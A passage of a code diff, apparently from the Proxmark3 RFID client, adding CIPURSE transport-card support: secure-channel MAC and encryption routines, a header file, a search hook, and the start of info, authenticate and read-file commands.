uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
size_t pdatalen = 0;
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true);
*encdatalen = pdatalen;
}
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen) {
CipurseCEncryptDecrypt(ctx, data, datalen, plaindata, false);
*plaindatalen = FindISO9797M2PaddingDataLen(plaindata, datalen);
}
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473
*
* Generate OSPT MAC on the given input data.
* Data should be already padded.
*
* Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx )
* XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key =
* hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 :=
* hy+1 M'i := AES( key = ki ; ki+1 ) XOR ki+1, Mi := m LS bits of M'i = (
* (M'i )0, (M'i )1, ..., (M'i )m-1)
*/
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0};
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
int i = 0;
while (datalen > i) {
aes_encode(NULL, ctx->frameKeyNext, &data[i], temp, CIPURSE_AES_KEY_LENGTH);
bin_xor(temp, &data[i], CIPURSE_AES_KEY_LENGTH);
memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
i += CIPURSE_AES_KEY_LENGTH;
}
aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
if (mac != NULL)
memcpy(mac, temp, CIPURSE_MAC_LENGTH);
}
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
size_t pdatalen = 0;
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
CipurseCGenerateMAC(ctx, pdata, pdatalen, mac);
}
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
uint8_t xmac[CIPURSE_MAC_LENGTH] = {0};
CipurseCCalcMACPadded(ctx, data, datalen, xmac);
return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0);
}
static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t originalLc, uint8_t *data, size_t *datalen) {
data[0] = apdu->CLA;
data[1] = apdu->INS;
data[2] = apdu->P1;
data[3] = apdu->P2;
data[4] = apdu->Lc;
*datalen = 5 + apdu->Lc;
if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted)
*datalen = 5 + originalLc;
memcpy(&data[5], apdu->data, *datalen);
}
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) {
uint8_t mac[CIPURSE_MAC_LENGTH] = {0};
uint8_t buf[260] = {0};
size_t buflen = 0;
memcpy(dstapdu, srcapdu, sizeof(sAPDU));
if (isCipurseCChannelSecuritySet(ctx) == false)
return;
dstapdu->CLA |= 0x04;
dstapdu->data = dstdatabuf;
dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe);
dstapdu->Lc++;
memcpy(&dstdatabuf[1], srcapdu->data, srcapdu->Lc);
if (includeLe) {
dstapdu->data[dstapdu->Lc] = Le;
dstapdu->Lc++;
}
uint8_t originalLc = dstapdu->Lc;
switch (ctx->RequestSecurity) {
case CPSNone:
break;
case CPSPlain:
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
break;
case CPSMACed:
dstapdu->Lc += CIPURSE_MAC_LENGTH;
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
CipurseCCalcMACPadded(ctx, buf, buflen, mac);
memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH);
break;
case CPSEncrypted:
dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH;
dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI
if (includeLe)
dstapdu->Lc++;
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
CipurseCGenerateMIC(buf, buflen, mac);
buf[0] = dstapdu->CLA;
buf[1] = dstapdu->INS;
buf[2] = dstapdu->P1;
buf[3] = dstapdu->P2;
memcpy(&buf[4], srcapdu->data, srcapdu->Lc);
memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH);
//PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH));
CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen);
break;
default:
break;
}
}
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) {
uint8_t buf[260] = {0};
size_t buflen = 0;
uint8_t micdata[260] = {0};
size_t micdatalen = 0;
if (dstdatalen != NULL)
*dstdatalen = 0;
if (sw != NULL)
*sw = 0;
if (srcdatalen < 2)
return;
srcdatalen -= 2;
uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1];
if (sw)
*sw = xsw;
if (isCipurseCChannelSecuritySet(ctx) == false) {
memcpy(dstdata, srcdata, srcdatalen);
if (dstdatalen != NULL)
*dstdatalen = srcdatalen;
return;
}
switch (ctx->ResponseSecurity) {
case CPSNone:
break;
case CPSPlain:
memcpy(buf, srcdata, srcdatalen);
buflen = srcdatalen;
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
buflen += 2;
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
memcpy(dstdata, srcdata, srcdatalen);
if (dstdatalen != NULL)
*dstdatalen = srcdatalen;
break;
case CPSMACed:
if (srcdatalen < CIPURSE_MAC_LENGTH)
return;
buflen = srcdatalen - CIPURSE_MAC_LENGTH;
memcpy(buf, srcdata, buflen);
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
buflen += 2;
srcdatalen -= CIPURSE_MAC_LENGTH;
if (CipurseCCheckMACPadded(ctx, buf, buflen, &srcdata[srcdatalen]) == false) {
PrintAndLogEx(WARNING, "APDU MAC is not valid!");
}
memcpy(dstdata, srcdata, srcdatalen);
if (dstdatalen != NULL)
*dstdatalen = srcdatalen;
break;
case CPSEncrypted:
CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen);
//PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen));
micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH;
memcpy(micdata, buf, buflen);
memcpy(&micdata[micdatalen], &buf[buflen - 2], 2);
micdatalen += 2;
if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) {
PrintAndLogEx(ERR, "APDU response MIC is not valid!");
}
memcpy(dstdata, buf, micdatalen - 2);
if (dstdatalen != NULL)
*dstdatalen = micdatalen - 2;
if (sw)
*sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1];
break;
default:
break;
}
}

View file

@ -0,0 +1,86 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// CIPURSE crypto primitives
//-----------------------------------------------------------------------------
#ifndef __CIPURSECRYPTO_H__
#define __CIPURSECRYPTO_H__
#include "common.h"
#include "iso7816/apduinfo.h" // sAPDU
#define CIPURSE_KVV_LENGTH 4
#define CIPURSE_AES_KEY_LENGTH 16
#define CIPURSE_AES_BLOCK_LENGTH 16
#define CIPURSE_SECURITY_PARAM_N 6
#define CIPURSE_MAC_LENGTH 8
#define CIPURSE_MIC_LENGTH 4
#define CIPURSE_POLY 0x35b088cce172UL
#define ISO9797_M2_PAD_BYTE 0x80
#define member_size(type, member) sizeof(((type *)0)->member)
typedef enum {
CPSNone,
CPSPlain,
CPSMACed,
CPSEncrypted
} CipurseChannelSecurityLevel;
typedef struct CipurseContextS {
uint8_t keyId;
uint8_t key[CIPURSE_AES_KEY_LENGTH];
uint8_t RP[CIPURSE_AES_KEY_LENGTH];
uint8_t rP[CIPURSE_SECURITY_PARAM_N];
uint8_t RT[CIPURSE_AES_KEY_LENGTH];
uint8_t rT[CIPURSE_SECURITY_PARAM_N];
uint8_t k0[CIPURSE_AES_KEY_LENGTH];
uint8_t cP[CIPURSE_AES_KEY_LENGTH];
uint8_t CT[CIPURSE_AES_KEY_LENGTH];
uint8_t frameKey[CIPURSE_AES_KEY_LENGTH];
uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH];
CipurseChannelSecurityLevel RequestSecurity;
CipurseChannelSecurityLevel ResponseSecurity;
} CipurseContext;
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl);
void CipurseCClearContext(CipurseContext *ctx);
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key);
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random);
void CipurseCSetRandomHost(CipurseContext *ctx);
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent);
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata);
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT);
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
bool isCipurseCChannelSecuritySet(CipurseContext *ctx);
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen);
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen);
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic);
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic);
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt);
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen);
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen);
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv);
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le);
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw);
#endif /* __CIPURSECRYPTO_H__ */

View file

@ -33,6 +33,7 @@
#include "cmdhftopaz.h" // TOPAZ #include "cmdhftopaz.h" // TOPAZ
#include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffelica.h" // ISO18092 / FeliCa
#include "cmdhffido.h" // FIDO authenticators #include "cmdhffido.h" // FIDO authenticators
#include "cmdhfcipurse.h" // CIPURSE transport cards
#include "cmdhfthinfilm.h" // Thinfilm #include "cmdhfthinfilm.h" // Thinfilm
#include "cmdhflto.h" // LTO-CM #include "cmdhflto.h" // LTO-CM
#include "cmdhfcryptorf.h" // CryptoRF #include "cmdhfcryptorf.h" // CryptoRF
@ -128,6 +129,15 @@ int CmdHFSearch(const char *Cmd) {
} }
} }
PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for Cipurse tag...");
if (IfPm3Iso14443a()) {
if (CheckCardCipurse()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Cipurse tag") " found\n");
res = PM3_SUCCESS;
}
}
// 14b is the longest test // 14b is the longest test
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag..."); PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag...");
@ -399,6 +409,7 @@ static command_t CommandTable[] = {
{"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"}, {"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"},
{"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"},
// {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"}, // {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"},
{"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"},
{"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"},
{"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"}, {"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"},
{"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"},

View file

@ -20,6 +20,7 @@
#include "cliparser.h" #include "cliparser.h"
#include "cmdhfmf.h" #include "cmdhfmf.h"
#include "cmdhfmfu.h" #include "cmdhfmfu.h"
#include "iso7816/iso7816core.h"
#include "emv/emvcore.h" #include "emv/emvcore.h"
#include "ui.h" #include "ui.h"
#include "crc16.h" #include "crc16.h"
@ -28,7 +29,7 @@
#include "cmdhf.h" // handle HF plot #include "cmdhf.h" // handle HF plot
#include "cliparser.h" #include "cliparser.h"
#include "protocols.h" // definitions of ISO14A/7816 protocol, MAGIC_GEN_1A #include "protocols.h" // definitions of ISO14A/7816 protocol, MAGIC_GEN_1A
#include "emv/apduinfo.h" // GetAPDUCodeDescription #include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
#include "cmdnfc.h" // print_type4_cc_info #include "cmdnfc.h" // print_type4_cc_info
@ -845,7 +846,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
return 0; return 0;
} }
int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) { int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card) {
PacketResponseNG resp; PacketResponseNG resp;
frameLength = 0; frameLength = 0;
@ -905,7 +906,7 @@ int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) {
if (card) if (card)
memcpy(card, vcard, sizeof(iso14a_card_select_t)); memcpy(card, vcard, sizeof(iso14a_card_select_t));
} }
SetISODEPState(ISODEP_NFCA);
if (disconnect) if (disconnect)
DropField(); DropField();
@ -917,7 +918,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool
if (activateField) { if (activateField) {
// select with no disconnect and set frameLength // select with no disconnect and set frameLength
int selres = SelectCard14443_4(false, NULL); int selres = SelectCard14443A_4(false, NULL);
if (selres != PM3_SUCCESS) if (selres != PM3_SUCCESS)
return selres; return selres;
} }
@ -2008,7 +2009,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
uint16_t sw = 0; uint16_t sw = 0;
uint8_t result[1024] = {0}; uint8_t result[1024] = {0};
size_t resultlen = 0; size_t resultlen = 0;
int res = EMVSelect(ECC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw, NULL); int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw);
ActivateField = false; ActivateField = false;
if (res) if (res)
continue; continue;

View file

@ -35,5 +35,5 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card);
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode);
int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card); int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card);
#endif #endif

View file

@ -22,7 +22,7 @@
#include "crc16.h" #include "crc16.h"
#include "cmdhf14a.h" #include "cmdhf14a.h"
#include "protocols.h" // definitions of ISO14B/7816 protocol #include "protocols.h" // definitions of ISO14B/7816 protocol
#include "emv/apduinfo.h" // GetAPDUCodeDescription #include "iso7816/apduinfo.h" // GetAPDUCodeDescription
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
#include "aidsearch.h" #include "aidsearch.h"
@ -42,6 +42,7 @@ bool apdu_in_framing_enable = true;
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static int switch_off_field_14b(void) { static int switch_off_field_14b(void) {
SetISODEPState(ISODEP_INACTIVE);
iso14b_raw_cmd_t packet = { iso14b_raw_cmd_t packet = {
.flags = ISO14B_DISCONNECT, .flags = ISO14B_DISCONNECT,
.timeout = 0, .timeout = 0,
@ -1557,7 +1558,7 @@ static int srix4kValid(const char *Cmd) {
} }
*/ */
static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) { int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) {
if (card) if (card)
memset(card, 0, sizeof(iso14b_card_select_t)); memset(card, 0, sizeof(iso14b_card_select_t));
@ -1598,7 +1599,7 @@ static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) {
switch_off_field_14b(); switch_off_field_14b();
return PM3_ESOFT; return PM3_ESOFT;
} }
SetISODEPState(ISODEP_NFCB);
apdu_frame_length = 0; apdu_frame_length = 0;
// get frame length from ATS in card data structure // get frame length from ATS in card data structure
iso14b_card_select_t *vcard = (iso14b_card_select_t *) resp.data.asBytes; iso14b_card_select_t *vcard = (iso14b_card_select_t *) resp.data.asBytes;
@ -1679,7 +1680,7 @@ static int handle_14b_apdu(bool chainingin, uint8_t *datain, int datainlen,
*dataoutlen += dlen; *dataoutlen += dlen;
if (maxdataoutlen && *dataoutlen > maxdataoutlen) { if (maxdataoutlen && *dataoutlen > maxdataoutlen) {
PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", *dataoutlen, maxdataoutlen); PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", maxdataoutlen, *dataoutlen);
return PM3_ESOFT; return PM3_ESOFT;
} }

View file

@ -12,11 +12,13 @@
#define CMDHF14B_H__ #define CMDHF14B_H__
#include "common.h" #include "common.h"
#include "iso14b.h"
int CmdHF14B(const char *Cmd); int CmdHF14B(const char *Cmd);
int CmdHF14BNdefRead(const char *Cmd); int CmdHF14BNdefRead(const char *Cmd);
int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool leave_signal_on, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, int user_timeout); int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool leave_signal_on, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, int user_timeout);
int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card);
int infoHF14B(bool verbose, bool do_aid_search); int infoHF14B(bool verbose, bool do_aid_search);
int readHF14B(bool loop, bool verbose); int readHF14B(bool loop, bool verbose);

705
client/src/cmdhfcipurse.c Normal file
View file

@ -0,0 +1,705 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// High frequency FIDO U2F and FIDO2 contactless authenticators
//-----------------------------------------------------------------------------
//
// JAVA implementation here:
//
// https://github.com/duychuongvn/cipurse-card-core
//-----------------------------------------------------------------------------
#include "cmdhffido.h"
#include <unistd.h>
#include "cmdparser.h" // command_t
#include "commonutil.h"
#include "comms.h"
#include "proxmark3.h"
#include "emv/emvcore.h"
#include "emv/emvjson.h"
#include "cliparser.h"
#include "cmdhfcipurse.h"
#include "cipurse/cipursecore.h"
#include "cipurse/cipursecrypto.h"
#include "ui.h"
#include "cmdhf14a.h"
#include "cmdtrace.h"
#include "util.h"
#include "fileutils.h" // laodFileJSONroot
static int CmdHelp(const char *Cmd);
static int CmdHFCipurseInfo(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse info",
"Get info from cipurse tags",
"hf cipurse info");
void *argtable[] = {
arg_param_begin,
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
CLIParserFree(ctx);
// info about 14a part
infoHF14A(false, false, false);
// CIPURSE info
PrintAndLogEx(INFO, "-----------" _CYAN_("CIPURSE Info") "---------------------------------");
SetAPDULogging(false);
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res) {
DropField();
return res;
}
if (sw != 0x9000) {
if (sw)
PrintAndLogEx(INFO, "Not a CIPURSE card! APDU response: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
else
PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000.");
DropField();
return PM3_SUCCESS;
}
PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK"));
res = CIPURSESelectFile(0x2ff7, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
DropField();
return PM3_SUCCESS;
}
res = CIPURSEReadBinary(0, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
DropField();
return PM3_SUCCESS;
}
if (len > 0) {
PrintAndLogEx(INFO, "Info file: " _GREEN_("OK"));
PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len));
CIPURSEPrintInfoFile(buf, len);
}
DropField();
return PM3_SUCCESS;
}
static int CmdHFCipurseAuth(const char *Cmd) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
uint8_t keyId = 1;
uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73};
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse auth",
"Authenticate with key ID and key",
"hf cipurse auth -> Authenticate with keyID=1 and key = 7373...7373\n"
"hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> Authenticate with key\n");
void *argtable[] = {
arg_param_begin,
arg_lit0("a", "apdu", "show APDU requests and responses"),
arg_lit0("v", "verbose", "show technical data"),
arg_int0("n", "keyid", "<dec>", "key id"),
arg_str0("k", "key", "<hex>", "key for authenticate"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool APDULogging = arg_get_lit(ctx, 1);
bool verbose = arg_get_lit(ctx, 2);
keyId = arg_get_int_def(ctx, 3, 1);
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen);
if (hdatalen && hdatalen != 16) {
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
SetAPDULogging(APDULogging);
CLIParserFree(ctx);
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000) {
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
DropField();
return PM3_ESOFT;
}
uint8_t kvv[CIPURSE_KVV_LENGTH] = {0};
CipurseCGetKVV(key, kvv);
if (verbose)
PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH));
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
if (verbose == false) {
if (bres)
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
else
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
}
DropField();
return bres ? PM3_SUCCESS : PM3_ESOFT;
}
static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) {
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen);
if (hdatalen && hdatalen != 16) {
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
*sreq = CPSMACed;
*sresp = CPSMACed;
char cdata[250] = {0};
int cdatalen = sizeof(cdata);
cdatalen--; // for trailer 0x00
CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen);
if (cdatalen) {
str_lower(cdata);
if (strcmp(cdata, "plain") == 0)
*sreq = CPSPlain;
else if (strcmp(cdata, "mac") == 0)
*sreq = CPSMACed;
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
*sreq = CPSEncrypted;
else {
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
return PM3_EINVARG;
}
}
cdatalen = sizeof(cdata);
memset(cdata, 0, cdatalen);
cdatalen--; // for trailer 0x00
CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen);
if (cdatalen) {
str_lower(cdata);
if (strcmp(cdata, "plain") == 0)
*sresp = CPSPlain;
else if (strcmp(cdata, "mac") == 0)
*sresp = CPSMACed;
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
*sresp = CPSEncrypted;
else {
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
return PM3_EINVARG;
}
}
return PM3_SUCCESS;
}
static int CmdHFCipurseReadFile(const char *Cmd) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
uint8_t key[] = CIPURSE_DEFAULT_KEY;
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf cipurse read",
"Read file by file ID with key ID and key",
"hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n"
"hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n");
void *argtable[] = {
arg_param_begin,
arg_lit0("a", "apdu", "show APDU requests and responses"),
arg_lit0("v", "verbose", "show technical data"),
arg_int0("n", "keyid", "<dec>", "key id"),
arg_str0("k", "key", "<hex>", "key for authenticate"),
arg_str0("f", "file", "<hex>", "file ID"),
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
arg_lit0(NULL, "noauth", "read file without authentication"),
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool APDULogging = arg_get_lit(ctx, 1);
bool verbose = arg_get_lit(ctx, 2);
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
CipurseChannelSecurityLevel sreq = CPSMACed;
CipurseChannelSecurityLevel sresp = CPSMACed;
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
if (res) {
CLIParserFree(ctx);
return PM3_EINVARG;
}
uint16_t fileId = 0x2ff7;
uint8_t hdata[250] = {0};
int hdatalen = sizeof(hdata);
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
if (hdatalen && hdatalen != 2) {
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
CLIParserFree(ctx);
return PM3_EINVARG;
}
if (hdatalen)
fileId = (hdata[0] << 8) + hdata[1];
